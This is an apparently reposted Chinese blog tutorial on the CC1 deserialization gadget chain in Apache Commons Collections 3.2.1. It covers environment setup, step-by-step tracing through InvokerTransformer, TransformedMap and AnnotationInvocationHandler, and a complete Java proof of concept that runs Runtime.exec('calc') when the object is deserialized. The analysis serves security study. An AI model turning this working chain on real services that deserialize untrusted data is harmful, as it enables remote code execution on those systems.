当前位置: 首页 > news >正文

Apache Commons Collection3.2.1反序列化分析(CC1)

Commons Collections简介

Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。

Commons Collections 3.1 版本的利用链衍生出多个版本的利用方式,但其核心部分是相同的,不同之处在于中间过程的构造。Ysoserial 反序列化利用工具中提供了几种利用方式:

image-20231225161904254

本文分析Commons Collections3.2.1版本下的一条最好用的反序列化漏洞链,这条攻击链被称为CC1链。

此包的类包含下面两个,需要重点关注:

Map

Commons Collections在java.util.Map的基础上扩展了很多接口和类,比较有代表性的是BidiMap、MultiMap和LazyMap。跟Bag和Buffer类似,Commons Collections也提供了一个MapUtils。

所谓BidiMap,直译就是双向Map,可以通过key找到value,也可以通过value找到key,这在我们日常的代码-名称匹配的时候很方便:因为我们除了需要通过代码找到名称之外,往往也需要处理用户输入的名称,然后获取其代码。需要注意的是BidiMap当中不光key不能重复,value也不可以。

所谓MultiMap,就是说一个key不再是简单的指向一个对象,而是一组对象,add()和remove()的时候跟普通的Map无异,只是在get()时返回一个Collection,利用MultiMap,我们就可以很方便的往一个key上放数量不定的对象,也就实现了一对多。

所谓LazyMap,意思就是这个Map中的键/值对一开始并不存在,当被调用到时才创建。

https://www.iteye.com/blog/duohuoteng-1630329

Transformer

我们有时候需要将某个对象转换成另一个对象供另一组方法调用,而这两类对象的类型有可能并不是出于同一个继承体系的,或者说出了很基本的Object之外没有共同的父类,或者我们根本不关心他们是不是有其他继承关系,甚至就是同一个类的实例只是对我们而言无所谓,我们为了它能够被后续的调用者有意义的识别和处理,在这样的情形,我们就可以利用Transformer。除了基本的转型Transformer之外,Commons Collections还提供了Transformer链和带条件的Transformer,使得我们很方便的组装出有意义的转型逻辑。

https://blog.csdn.net/liliugen/article/details/83298363

环境搭建

由于存在漏洞的版本 commons-collections3.1-3.2.1

jdk 8u71之后已修复不可用

这里下载JDK-8u65

https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

下载安装,接下来就是配置到IDEA里面:

新建一个maven项目->项目JDK->添加JDK,找到我们刚安装的jdk-8u65

image-20231220174743475

然后配置Maven依赖下载CommonsCollections3.2.1版本

<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

image-20231220174925789

由于我们分析时要涉及的jdk源码,所以要把jdk的源码也下载下来方便我们分析。

下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

image-20231220180043245

点击左下角的zip即可下载,然后解压。再进入到相应JDK的文件夹中,里面本来就有个src.zip的压缩包,将其解压,然后把刚刚下载的源码包(jdk-af660750b2f4.zip)中/src/share/classes下的sun文件夹拷贝到src文件夹中去。

image-20231220180438271

打开IDEA,选择文件 —>项目结构 —>SDK —>源路径 —>把src文件夹添加到源路径下,保存即可。

image-20231220180609853

然后我们去sun包里面看一下代码,不再显示.class

image-20231220180849093

这样环境就配置完了。

反序列化分析

我们利用反序列化漏洞的方法一般是寻找到某个带有危险方法的类,然后溯源,看看哪个类中的方法有调用危险方法(有点像套娃,这个类中的某个方法调用了下个类中的某个方法,一步步套下去),并且继承了序列化接口,然后再依次向上回溯,直到找到一个重写了readObject方法的类,并且符合条件,那么这个就是起始类,我们可以利用这个类一步步的调用到危险方法(这里以**“Runtime中的exec方法为例”**),这就是大致的Java漏洞链流程。

源头

CC1链的源头就是Commons Collections库中的Tranformer接口,这个接口里面有个transform方法

image-20231221154622614

然后就是寻找继承了这个接口的类 :ctrl+alt+b

image-20231221154734308

可以看到有很多类,我们这里找到了有重写transform方法的InvokerTransformer类,并且可以看到它也继承了Serializable,很符合我们的要求。

image-20231221154947791

InvokerTransformer.transform()

定位到InvokerTransformer的transform方法

image-20231221155528294

//重写的transform方法
public Object transform(Object input) { //接收一个对象if (input == null) {return null;}try {Class cls = input.getClass();                               //可控的获取一个完整类的原型Method method = cls.getMethod(iMethodName, iParamTypes);    //可控的获取该类的某个特定方法return method.invoke(input, iArgs);                         //调用该类的方法//可以看到这里相当于是调用了我们熟悉的反射机制,来返回某个方法的利用值,这就是明显的利用点......

可以看到,transform方法接受一个对象,不为空时,就会进行通过反射机制动态地调用对象的特定方法。

iMethodNameiParamTypesiArgs这几个参数都是通过构造函数控制的,并且为public:

image-20231221160125224

//含参构造器,我们在外部调用类时需要用到
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { //参数为方法名,所调用方法的参数类型,所调用方法的参数值super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;
}

因为这些参数我们都可以控制,也就是说我们可以通过InvokerTransformer.transform()方法来调用任意类的任意方法,比如弹一个计算器:

测试代码1
/*      利用反射调用Runtime中的exec方法:Runtime r=Runtime.getRuntime();Class c=r.getClass();Method m=c.getMethod("exec", String.class);m.invoke(r,"calc");*/Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); //方法名为exec,参数类型为String,参数值为calc
invokerTransformer.transform(r);#其实就是相当于通过transform方法来实现了我们最基本的反射过程。

image-20231221162227834

可以看到,成功执行了命令,那么我们就找到了源头利用点了,接下来就是一步步回溯,寻找合适的子类,构造漏洞链,直到到达重写了readObject的类(没有的话就寄了)

寻找某个类中的某个方法调用了transform方法,直接对这个方法右键查找用法(alt+F7),可以看到有很多都调用了这个方法

image-20231221163300658

TransformedMap.checkSetValue()

这里我们直接来到TransformedMap类下的checkSetValue方法

image-20231221163544176

我们同样来看一下TransformedMap这个类的构造方法和checkSetValue方法

//构造方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {//接受三个参数,第一个为Map,我们可以传入HashMap,第二个和第三个就是Transformer我们需要的了,可控。super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer; //这里是可控的}protected Object checkSetValue(Object value) { //接受一个对象类型的参数return valueTransformer.transform(value);//返回valueTransformer对应的transform方法
}

可以看到,我们只需要让valueTransformer等于我们之前的invokerTransformer对象,就又可以通过它来实现调用任意类的任意方法了。

但是这里有个问题,可以看到构造函数和方法都是protected权限的,也就是说只有在同一个包中才可以调用,不能外部调用去实例化,那么我们就需要找到内部实例化的工具,这里往上查找,可以找到一个public的静态方法decorate

TransformedMap.decorate()

很明显,该静态方法实例化了 TransformedMap对象,并且还是public方法,我们可以直接调用。

image-20231221164658990

因此,我们可以通过TransformedMap.decorate()方法来调用任意类的任意方法,比如修改之前的代码,弹一个计算器:

测试代码2
//invokerTransformer就是上个payload的 invokerTransformer,没有变。
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//invokerTransformer.transform(r);HashMap<Object,Object> map=new HashMap<>(); //这个直接实例化一个HashMapMap<Object,Object> decorateMap=TransformedMap.decorate(map,null,invokerTransformer); 
//静态方法staic修饰,直接类名+方法名调用
//把map当成参数传入,然后第二个参数我们用不着就赋空值null,第三个参数就是我们之前的invokerTransformerClass transformedMapClass = TransformedMap.class;  //TransformedMap.class返回TransformedMap类的Class对象。我们可以使用这个Class对象来访问和操作TransformedMap类的相关信息。Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);  //使用transformedMapClass对象来获取TransformedMap类的checkSetValue方法。checkSetValueMethod.setAccessible(true); //因为checkSetValue是peotected,所以需要使用 setAccessible(true)改变其作用域,这样即使私有的方法,也可以访问调用了checkSetValueMethod.invoke(decorateMap,r); //invoke执行,Method.invoke()方法接受两个参数:1、调用方法的对象实例,2、要传递给方法的参数

image-20231221180505246

接下来我们就是要找哪里调用了 decorate 方法,但是并没有找到合适的,所以我们把目光再放回之前的 checkSetValue 方法,去找哪里调用了该方法。

这里我们同样查找用法(Alt+F7),发现只有一个地方调用了checkSetValue方法:AbstractInputCheckedMapDecorator类的setValue

image-20231221180921897

AbstractInputCheckedMapDecorator->MapEntry.setValue()

现在我们关注 TransformedMap 父类 AbstractInputCheckedMapDecorator 内部的子类 MapEntry 中的setValue方法。

image-20231221181345573

Entry代表的是Map中的一个键值对,而在Map中我们可以看到有setValue方法,我们在对Map进行遍历的时候可以调用setValue这个方法

image-20231221182453366

不过上面MapEntry类实际上是重写了setValue方法,它继承了AbstractMapEntryDecorator这个类,这个类中存在setValue方法,

image-20231221185709098

而这个类又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue方法,然后水到渠成地调用checkSetValue方法

测试代码3
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//invokerTransformer.transform(r);HashMap<Object, Object> map = new HashMap<>(); //这个直接实例化一个HashMapmap.put("key","value"); //给map一个键值对,方便遍历Map<Object,Object> decorateMap=TransformedMap.decorate(map,null,invokerTransformer);//用于遍历 decorateMap 中的每个 Entry 对象。在每次迭代中,将当前的 Entry 对象赋值给变量 entry。每个 Entry 对象表示一个键值对,其中包括键和对应的值。
for(Map.Entry entry:decorateMap.entrySet()) { //decorateMap 是一个 Map 对象,entrySet() 方法返回一个包含 Map 中键值对(Entry)的集合。entry.setValue(r);           //调用setValue方法,设置该 Entry 对象的值为 r}

decorateMap 之前的东西和之前都一样,不再讲述,区别是我们这里遍历了 decorateMap 来触发 setValue 。(注意 map.put(“key”,“value”) ,要不然map里面没东西,后面进不去for循环)

decorateMap 是 TransformedMap 类的,该类没有再实现 entrySet 方法,所以会调用父类的 entrySet 方法。故在for 循环时会进入如下方法:

image-20231221192151087

首先进行判断,如果判断通过的话,就会返回一个 EntrySet 的实例,而我们的 isSetValueChecking() 是恒返回true的,所以也就无所谓,直接返回实例。 所以我们的 entry 在这里也是来自 AbstractInputCheckedMapDecorator 类的,所以后面才可以调到 setValue 方法。效果如下:

image-20231221194156981

再来梳理一边这个过程:

首先,我们找到了TransformedMap这个类,我们想要调用其中的checkSetValue方法,但是这个类的构造器是peotected权限,只能类中访问,所以我们调用decorate方法来实例化这个类,在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对,然后把这个map当成参数传入,实例化成了一个decorateMap对象,这个对象也是Map类型的,然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰好又遇到了一个重写了setValue的MapEntry副类,这个重写的方法刚好调用了checkSetValue方法,这样就形成了一个闭环

这里我们又找到了一个 setValue 方法,我们可以继续向上查找,看看有哪些方法里面调用了setValue并且可以被我们所利用 ,继续构造我们的链条。

这里看到了AnnotationInvocationHandler这个类,看到有个调用了setValue方法的readObject方法,很完美的实现了代替之前Map遍历功能

image-20231222150723868

AnnotationInvocationHandler.readObject()

这里我们找到了 AnnotationInvocationHandler 中的 readObject 方法

image-20231222161153771

先来解释一下这段代码:

//这是一个私有方法,用于反序列化对象。它接受一个 ObjectInputStream 类型的参数 s,用于读取对象的序列化数据。 
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();//使用 ObjectInputStream 的 defaultReadObject() 方法从输入流中读取对象的默认数据。这是为了保证默认的反序列化行为。// Check to make sure that types have not evolved incompatibly//这是一个自定义的类型,用于表示注解类型。AnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.//使用 for 循环遍历 memberValues.entrySet(),将每个键值对赋值给memberValuefor (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();//根据成员名从 memberTypes 中获取对应的成员类型。Class<?> memberType = memberTypes.get(name);if (memberType != null) {  // i.e. member still exists//获取当前循环迭代的值(成员值)。Object value = memberValue.getValue();//判断成员值是否与成员类型兼容if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {//如果成员值不兼容,将会创建一个新的 AnnotationTypeMismatchExceptionProxy 对象,并将其设置为对应的成员值。 memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}

可以看到,这里再调用setValue前面还要经过两个判断

我们看一下 memberValue 是怎么传入的,这里定位到构造函数:

image-20231222161610754

可以看到memberValue是可控的,我们只需要在构造时把 memberValue 传给他就行了,但是这个构造函数的修饰符是默认的,

我们知道在 Java 中,如果在构造函数的定义中没有指定修饰符(如 publicprivateprotected 或者默认的包级私有),那么该构造函数将具有默认的包级私有访问修饰符。默认的包级私有访问修饰符意味着该构造函数可以在同一个包中的其他类中访问和调用,但在不同包中的类中是不可见的。

也就是说这个类只能在sun.reflect.annotation这个包下被调用,我们要想在外部调用,需要用到反射来解决。

结合前面, 我们可以再次写出利用代码:

测试代码4
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class Cc1 {public static void main(String[] args) throws Exception {Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});//invokerTransformer.transform(r);HashMap<Object, Object> map = new HashMap<>(); //这个直接实例化一个HashMapmap.put("key", "value"); //给map一个键值对,方便遍历Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer);//反射获取AnnotationInvocationHandler类Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//getDeclaredConstructor() 获取当前类的构造方法,包括private, protected和public。Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true); //改变其作用域Object obj = constructor.newInstance(Override.class, decorateMap); //创建该类的实例,这里第一个参数是注解的类原型,第二个就是我们之前的类serialize(obj);  //序列化unserialize("C://java/CC1.ser"); //反序列化}//定义序列化方法public static void serialize(Object object) throws Exception {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C://java/CC1.ser"));oos.writeObject(object);}//定义反序列化方法public static void unserialize(String filename) throws Exception {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));objectInputStream.readObject();}
}

运行,然而无事发生,并没有我们想象中的弹框:

image-20231222165127995

问题1

调试看看,断点设在AnnotationInvocationHandler.readObject()之前说的两个判断处:

image-20231222165756700

调试运行,

这里我们直接就跳到了最下面,很显然,if循环没有进去,这里判断memberType,但是我们的 memberType正好为空。

image-20231222172446056

memberType 来自 memberTypes , memberTypes 来自 annotationType , annotationType 来自 type ( annotationType = AnnotationType.getInstance(type); ):

image-20231222173720728

而 type 来自我们传入构造方法的参数

image-20231222173739549

我们这里的要求传入的注解参数,是要求有成员变量的,并且成员变量要和 map 里面的 key 对的上。( ! (memberType.isInstance(value)

image-20231222173829598

但是我们之前使用的Override注解没有成员变量,所以不行

image-20231222180722336

这里我们找到了SuppressWarnings注解,该注解有一个成员变量:

image-20231222174110657

于是,修改我们的代码如下(其实就修改了两行):

image-20231222175009856

问题2

改完之后运行,结果报错:

image-20231222175035484

找不到exec方法

runtime方法并没有被调用到:

image-20231222175304375

同时,readObject 方法里面 setValue 的参数的实例居然是写死的,根本没用办法利用???

image-20231222181344885

解决无法传入runtime的问题

image-20231221154734308

ConstantTransformer类

image-20231225144656492

该方法的构造函数会将传入的对象给到iConstant,该类的 transform 方法无论传入的什么对象都会返回iConstant 。 但是我们并没有办法将ConstantTransformer的实例传递给TransformedMap,或者说没有办法建立 ConstantTransformer和InvokerTransformer之间的包含关系。于是我们又来到了 ChainedTransformer 类。

ChainedTransformer类

ChainedTransformer 类的 transform 方法:

image-20231225154324226

上述代码的意思是,如果给 ChainedTransformer 的属性 iTransformers 赋值为 ConstantTransformer 对象的话,则可以直接调用到ConstantTransformer的transform方法,如果赋值为 InvokerTransformer 对象的话,则可以直接调用到 InvokerTransformer 的 transform 方 法,则此时便有了一个关联关系,将 Runtime 对象通过 ConstantTransformer 进行赋值,然后就可以在构造链中得到 Runtime 对象了。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class Cc1 {public static void main(String[] args) throws Exception {//Runtime r = Runtime.getRuntime();//InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});//invokerTransformer.transform(r);Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class)  //Runtime没有serializable接口,不能被反序列化,我们需要用它的原型类class};ChainedTransformer chainedTransformer = newChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>(); //这个直接实例化一个HashMapmap.put("value", "value"); //给map一个键值对,方便遍历Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);//反射获取AnnotationInvocationHandler类Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//getDeclaredConstructor() 获取当前类的构造方法,包括private, protected和public。Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true); //改变其作用域Object obj = constructor.newInstance(SuppressWarnings.class, decorateMap); //创建该类的实例,这里第一个是参数是注解的类原型,第二个就是我们之前的类serialize(obj);  //序列化unserialize("C://Users/yokan/Desktop/code/java/CC1.ser"); //反序列化}//定义序列化方法public static void serialize(Object object) throws Exception {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C://Users/yokan/Desktop/code/java/CC1.ser"));oos.writeObject(object);}//定义反序列化方法public static void unserialize(String filename) throws Exception {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));objectInputStream.readObject();}
}

image-20231225152337831

但是此时我们只穿入了 Runtime 对象,之前的 InvokerTransformer 没有传进来,不过这个事情也是简单的,因为 InvokerTransformer类 我们需要的方法也是 transform ,都是一个名字,所以他们是兼容的,再结合 ChainedTransformer 的 transform 的特点,上一次调用的对象是下次参数:

image-20231225154500449

因此我们得到如下payload:

测试代码5
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class Cc1 {public static void main(String[] args) throws Exception {//Runtime r = Runtime.getRuntime();//InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});//invokerTransformer.transform(r);//创建一个Transformer数组用于储存InvokerTransformer的数据,便于遍历Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),//Runtime没有serializable接口,不能被反序列化,我们需要用它的原型类classnew InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>(); //这个直接实例化一个HashMapmap.put("value", "value"); //给map一个键值对,方便遍历Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);//反射获取AnnotationInvocationHandler类Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//getDeclaredConstructor() 获取当前类的构造方法,包括private, protected和public。Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true); //改变其作用域Object obj = constructor.newInstance(SuppressWarnings.class, decorateMap); //创建该类的实例,这里第一个是参数是注解的类原型,第二个就是我们之前的类serialize(obj);  //序列化unserialize("C://Users/yokan/Desktop/code/java/CC1.ser"); //反序列化}//定义序列化方法public static void serialize(Object object) throws Exception {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C://Users/yokan/Desktop/code/java/CC1.ser"));oos.writeObject(object);}//定义反序列化方法public static void unserialize(String filename) throws Exception {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));objectInputStream.readObject();}
}

最后成功弹出来计算器:

image-20231225154519992

总结

经过上面的步骤,我们可以得到如下的调用链:

ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map().setValue()TransformedMap.decorate()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

参考

https://xz.aliyun.com/t/12669

https://www.secpulse.com/archives/188750.html

相关文章:

Apache Commons Collection3.2.1反序列化分析(CC1)

Commons Collections简介 Commons Collections是Apache软件基金会的一个开源项目&#xff0c;它提供了一组可复用的数据结构和算法的实现&#xff0c;旨在扩展和增强Java集合框架&#xff0c;以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队…...

MySQL入门篇(10)-聚合函数的应用

MySQL数据库聚合函数的应用 在MySQL数据库中&#xff0c;聚合函数用于计算一组数据的统计值并返回结果。这些函数可以应用于查询语句中&#xff0c;对数据进行汇总、计数、平均值计算等操作。本文将介绍一些常用的MySQL聚合函数及其应用。 1. COUNT函数 COUNT函数用于计算指…...

Vue3基本概念

script部分 export default对象的属性&#xff1a; name&#xff1a;组件的名称 components&#xff1a;存储中用到的所有组件 props&#xff1a;存储父组件传递给子组件的数据 watch()&#xff1a;当某个数据发生变化时触发 computed&#xff1a;动态计算某个数据 setup(pro…...

每日OJ题_算法_模拟①_力扣1576. 替换所有的问号

目录 模拟算法原理 力扣1576. 替换所有的问号 解析代码 模拟算法原理 模拟算法是一种常用的计算机算法&#xff0c;它模拟了实际问题的运行过程&#xff0c;并通过数学模型来预测结果。模拟算法可以应用于各个领域&#xff0c;例如物理、化学、生物、计算机网络等等。 模拟算…...

杂题——试题 算法训练 区间最大和

分析&#xff1a; 如果使用两个for循环遍历所有情况&#xff0c;运行会超时解决运行超时的关键点在于&#xff1a;及时停止累加&#xff0c;丢弃当前的子序列 比如【1&#xff0c;-2&#xff0c;3&#xff0c;10】从第一个数字开始的子序列的和小于从第三个数字开始的子序列的和…...

(安卓)跳转应用市场APP详情页的方式

前言 最近在做一个需求&#xff0c;需要从自己APP进入到系统的应用市场 方便用户在应用市场给自己的APP打分 于是查阅了一些资料&#xff0c;下面说一下实现方法 实现方案 一般来说&#xff0c;最简单的方案就是这样&#xff1a; val uri Uri.parse("market://details…...

亚信安全助力宁夏首个人工智能数据中心建成 铺设绿色算力安全底座

近日&#xff0c;由宁夏西云算力科技有限公司倾力打造&#xff0c;亚信安全科技股份有限公司&#xff08;股票代码&#xff1a;688225&#xff09;全力支撑&#xff0c;总投资达数十亿元人民币的宁夏智算中心项目&#xff0c;其一期工程——宁夏首个采用全自然风冷技术的30KW机…...

ASP.NET Core WebAPI_解决跨域问题(前端后端)

说明 我的前端框架为Vue&#xff13; 前后端跨域选其一即可 前端跨域 在项目的根目录找到vite.config.js文件&#xff0c;添加代码&#xff1a; server: {proxy: {/api: {target: https://localhost:xxxx,changeOrigin: true,secure: false},},} axios代码片段&#xff1a; …...

保姆级的指针详解(超详细)

目录 一.内存和地址  1.初识指针 2.如何理解编址 二. 指针变量 三.指针的解引用操作符 1.指针变量的大小 四.指针变量类型的意义 五.指针的运算 1.指针加减整数 2.指针减指针 3.野指针 3.1指针未初始化 3.2指针越界访问 3.3指针指向的空间被提前释放 3.4如何规…...

R-YOLO

Abstract 提出了一个框架&#xff0c;名为R-YOLO&#xff0c;不需要在恶劣天气下进行注释。考虑到正常天气图像和不利天气图像之间的分布差距&#xff0c;我们的框架由图像翻译网络&#xff08;QTNet&#xff09;和特征校准网络&#xff08;FCNet&#xff09;组成&#xff0c;…...

Qt无边框窗口拖拽和阴影

先看下效果&#xff1a; 说明 自定义窗口控件的无边框,窗口事件由于没有系统自带边框,无法实现拖拽拉伸等事件的处理,一种方法就是重新重写主窗口的鼠标事件&#xff0c;一种时通过nativeEvent事件处理。重写事件相对繁琐,我们这里推荐nativeEvent处理。注意后续我们在做win平…...

ES6 Proxy详解

文章目录 概述Proxy 实例的方法get(target, propKey, receiver)set(target, propKey, value, receiver)has(target, propKey)deleteProperty(target, propKey)defineProperty(target, propKey, propDesc)getOwnPropertyDescriptor(target, propKey)getPrototypeOf(target)setPr…...

Prompt Learning 的几个重点paper

Prefix Tuning: Prefix-Tuning: Optimizing Continuous Prompts for Generation 在输入token之前构造一段任务相关的virtual tokens作为Prefix&#xff0c;然后训练的时候只更新Prefix部分的参数&#xff0c;PLM中的其他参数固定。针对自回归架构模型&#xff1a;在句子前面添…...

中科大计网学习记录笔记(三):接入网和物理媒体

前言&#xff1a; 学习视频&#xff1a;中科大郑烇、杨坚全套《计算机网络&#xff08;自顶向下方法 第7版&#xff0c;James F.Kurose&#xff0c;Keith W.Ross&#xff09;》课程 该视频是B站非常著名的计网学习视频&#xff0c;但相信很多朋友和我一样在听完前面的部分发现信…...

设计模式:工厂方法模式

工厂模式属于创建型模式&#xff0c;也被称为多态工厂模式&#xff0c;它在创建对象时提供了一种封装机制&#xff0c;将实际创建对象的代码与使用代码分离&#xff0c;有子类决定要实例化的产品是哪一个&#xff0c;把产品的实例化推迟到子类。 使用场景 重复代码 : 创建对象…...

HTML 相关知识点记录

<div> </div> DIV标签详细介绍-CSDN博客 div 是 division 的简写&#xff0c;division 意为分割、区域、分组。比方说&#xff0c;当你将一系列的链接组合在一起&#xff0c;就形成了文档的一个 division。 <p>标签&#xff1a;定义段落...

系统架构设计师考试大纲2023

一、 考试方式&#xff08;机考&#xff09; 考试采取科目连考、 分批次考试的方式&#xff0c; 连考的第一个科目作答结束交卷完成后自动进 入第二个科目&#xff0c; 第一个科目节余的时长可为第二个科目使用。 高级资格&#xff1a; 综合知识科目考试时长 150 分钟&#xff…...

sqli.labs靶场(第18~22关)

18、第十八关 经过测试发现User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0加引号报错 这里我们闭合一下试试 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0,127.0.0.1,adm…...

【tensorflow 版本 keras版本】

#. 安装tensorflow and keras&#xff0c; 总是遇到版本无法匹配的问题。 安装之前先查表 https://master--floydhub-docs.netlify.app/guides/environments/ 1.先确定你的python version 2.再根据下面表&#xff0c;确定安装的tesorflow, keras...

嵌入式学习第十六天

制作俄罗斯方块小游戏&#xff08;一&#xff09; 分析&#xff1a; printf函数高级用法 \033[&#xff1a;表示转义序列的开始 m&#xff1a;表示转义序列的结束 0&#xff1a;重置所有属性 1&#xff1a;设置粗体或高亮 30-37&#xff1a;设置字体色 30: 黑 31: 红 32:…...

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…...

Lombok 的 @Data 注解失效,未生成 getter/setter 方法引发的HTTP 406 错误

HTTP 状态码 406 (Not Acceptable) 和 500 (Internal Server Error) 是两类完全不同的错误&#xff0c;它们的含义、原因和解决方法都有显著区别。以下是详细对比&#xff1a; 1. HTTP 406 (Not Acceptable) 含义&#xff1a; 客户端请求的内容类型与服务器支持的内容类型不匹…...

React Native 开发环境搭建(全平台详解)

React Native 开发环境搭建&#xff08;全平台详解&#xff09; 在开始使用 React Native 开发移动应用之前&#xff0c;正确设置开发环境是至关重要的一步。本文将为你提供一份全面的指南&#xff0c;涵盖 macOS 和 Windows 平台的配置步骤&#xff0c;如何在 Android 和 iOS…...

在rocky linux 9.5上在线安装 docker

前面是指南&#xff0c;后面是日志 sudo dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo sudo dnf install docker-ce docker-ce-cli containerd.io -y docker version sudo systemctl start docker sudo systemctl status docker …...

Day131 | 灵神 | 回溯算法 | 子集型 子集

Day131 | 灵神 | 回溯算法 | 子集型 子集 78.子集 78. 子集 - 力扣&#xff08;LeetCode&#xff09; 思路&#xff1a; 笔者写过很多次这道题了&#xff0c;不想写题解了&#xff0c;大家看灵神讲解吧 回溯算法套路①子集型回溯【基础算法精讲 14】_哔哩哔哩_bilibili 完…...

macOS多出来了:Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用

文章目录 问题现象问题原因解决办法 问题现象 macOS启动台&#xff08;Launchpad&#xff09;多出来了&#xff1a;Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用。 问题原因 很明显&#xff0c;都是Google家的办公全家桶。这些应用并不是通过独立安装的…...

鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个生活电费的缴纳和查询小程序

一、项目初始化与配置 1. 创建项目 ohpm init harmony/utility-payment-app 2. 配置权限 // module.json5 {"requestPermissions": [{"name": "ohos.permission.INTERNET"},{"name": "ohos.permission.GET_NETWORK_INFO"…...

深度学习习题2

